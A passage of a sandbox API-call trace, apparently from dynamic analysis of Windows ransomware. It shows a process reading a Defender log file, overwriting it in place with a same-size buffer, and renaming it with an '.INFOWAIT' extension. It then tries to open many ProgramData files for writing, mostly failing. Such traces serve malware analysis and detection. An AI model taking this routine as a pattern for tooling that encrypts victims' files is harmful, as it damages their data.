lpDistanceToMoveHigh=0x0) returned 0x0 [0137.332] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0137.334] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0137.346] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.346] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0137.346] CloseHandle (hObject=0xad0) returned 1 [0137.347] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log" [0137.347] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log.INFOWAIT" [0137.347] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\support\\mplog-07132009-221054.log"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\support\\mplog-07132009-221054.log.infowait")) returned 1 [0137.348] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.349] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.350] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.350] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\confident.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.351] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.351] GetLastError () returned 0x5 [0137.351] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.351] GetLastError () returned 0x5 [0137.351] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0137.351] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0137.351] lstrlenW (lpString="CreateFile") returned 10 [0137.351] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0137.351] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.351] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.351] lstrlenW (lpString="5") returned 1 [0137.351] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0137.351] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0137.351] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0137.351] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0137.352] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0137.352] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0137.352] LocalFree (hMem=0x65ded8) returned 0x0 [0137.352] LocalFree (hMem=0x2568430) returned 0x0 [0137.352] GetLastError () returned 0x5 [0137.352] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.352] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\fyi.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.352] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.352] GetLastError () returned 0x5 [0137.352] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.352] GetLastError () returned 0x5 [0137.352] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0137.352] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0137.352] lstrlenW (lpString="CreateFile") returned 10 [0137.352] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0137.352] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.352] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.352] lstrlenW (lpString="5") returned 1 [0137.352] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0137.353] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0137.353] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0137.353] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0137.353] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0137.353] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0137.353] LocalFree (hMem=0x65ded8) returned 0x0 [0137.353] LocalFree (hMem=0x2568430) returned 0x0 [0137.353] GetLastError () returned 0x5 [0137.353] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.353] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\generic.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.353] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.353] GetLastError () returned 0x5 [0137.353] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.353] GetLastError () returned 0x5 [0137.353] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0137.353] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0137.353] lstrlenW (lpString="CreateFile") returned 10 [0137.353] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0137.353] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.353] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.353] lstrlenW (lpString="5") returned 1 [0137.353] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0137.354] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0137.354] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0137.354] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0137.354] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0137.354] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0137.354] LocalFree (hMem=0x65ded8) returned 0x0 [0137.354] LocalFree (hMem=0x2568430) returned 0x0 [0137.354] GetLastError () returned 0x5 [0137.354] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.354] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\urgent.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.354] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.354] GetLastError () returned 0x5 [0137.354] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.354] GetLastError () returned 0x5 [0137.354] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0137.354] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0137.354] lstrlenW (lpString="CreateFile") returned 10 [0137.354] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0137.354] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.354] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.354] lstrlenW (lpString="5") returned 1 [0137.355] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0137.355] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0137.355] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0137.355] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0137.355] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0137.355] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0137.355] LocalFree (hMem=0x65ded8) returned 0x0 [0137.355] LocalFree (hMem=0x2568430) returned 0x0 [0137.355] GetLastError () returned 0x5 [0137.355] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.355] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.355] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.355] GetLastError () returned 0x5 [0137.355] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.355] GetLastError () returned 0x5 [0137.355] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0137.355] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0137.355] lstrlenW (lpString="CreateFile") returned 10 [0137.355] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0137.355] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.355] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.355] lstrlenW (lpString="5") returned 1 [0137.356] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0137.356] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0137.356] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0137.356] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0137.356] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0137.356] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0137.356] LocalFree (hMem=0x65ded8) returned 0x0 [0137.356] LocalFree (hMem=0x2568430) returned 0x0 [0137.356] GetLastError () returned 0x5 [0137.356] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.356] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan\\welcomescan.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.356] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.356] GetLastError () returned 0x5 [0137.356] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.356] GetLastError () returned 0x5 [0137.356] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0137.356] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0137.356] lstrlenW (lpString="CreateFile") returned 10 [0137.356] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0137.356] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.356] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.356] lstrlenW (lpString="5") returned 1 [0137.357] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0137.357] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0137.357] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0137.357] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0137.357] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0137.357] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0137.357] LocalFree (hMem=0x65ded8) returned 0x0 [0137.357] LocalFree (hMem=0x2568430) returned 0x0 [0137.357] GetLastError () returned 0x5 [0137.357] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.357] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\Hx.hxn" (normalized: "c:\\users\\all users\\microsoft help\\hx.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.357] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.357] GetLastError () returned 0x2 [0137.357] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.357] GetLastError () returned 0x2 [0137.357] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.357] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.357] lstrlenW (lpString="CreateFile") returned 10 [0137.357] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.357] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.357] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.357] lstrlenW (lpString="2") returned 1 [0137.357] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.358] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.358] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.358] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.358] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.358] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.358] LocalFree (hMem=0x24b2360) returned 0x0 [0137.358] LocalFree (hMem=0x279c770) returned 0x0 [0137.358] GetLastError () returned 0x2 [0137.358] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.358] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.358] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.358] GetLastError () returned 0x2 [0137.358] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.358] GetLastError () returned 0x2 [0137.358] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.358] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.358] lstrlenW (lpString="CreateFile") returned 10 [0137.358] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.358] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.358] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.358] lstrlenW (lpString="2") returned 1 [0137.358] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.359] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.359] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.359] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.359] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.359] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.359] LocalFree (hMem=0x24b2360) returned 0x0 [0137.359] LocalFree (hMem=0x279c770) returned 0x0 [0137.359] GetLastError () returned 0x2 [0137.359] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.359] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.359] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.359] GetLastError () returned 0x2 [0137.359] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.359] GetLastError () returned 0x2 [0137.359] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.359] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.359] lstrlenW (lpString="CreateFile") returned 10 [0137.359] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.359] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.359] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.359] lstrlenW (lpString="2") returned 1 [0137.359] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.359] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.360] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.360] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.360] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.360] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.360] LocalFree (hMem=0x24b2360) returned 0x0 [0137.360] LocalFree (hMem=0x279c770) returned 0x0 [0137.360] GetLastError () returned 0x2 [0137.360] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.360] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.graph.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 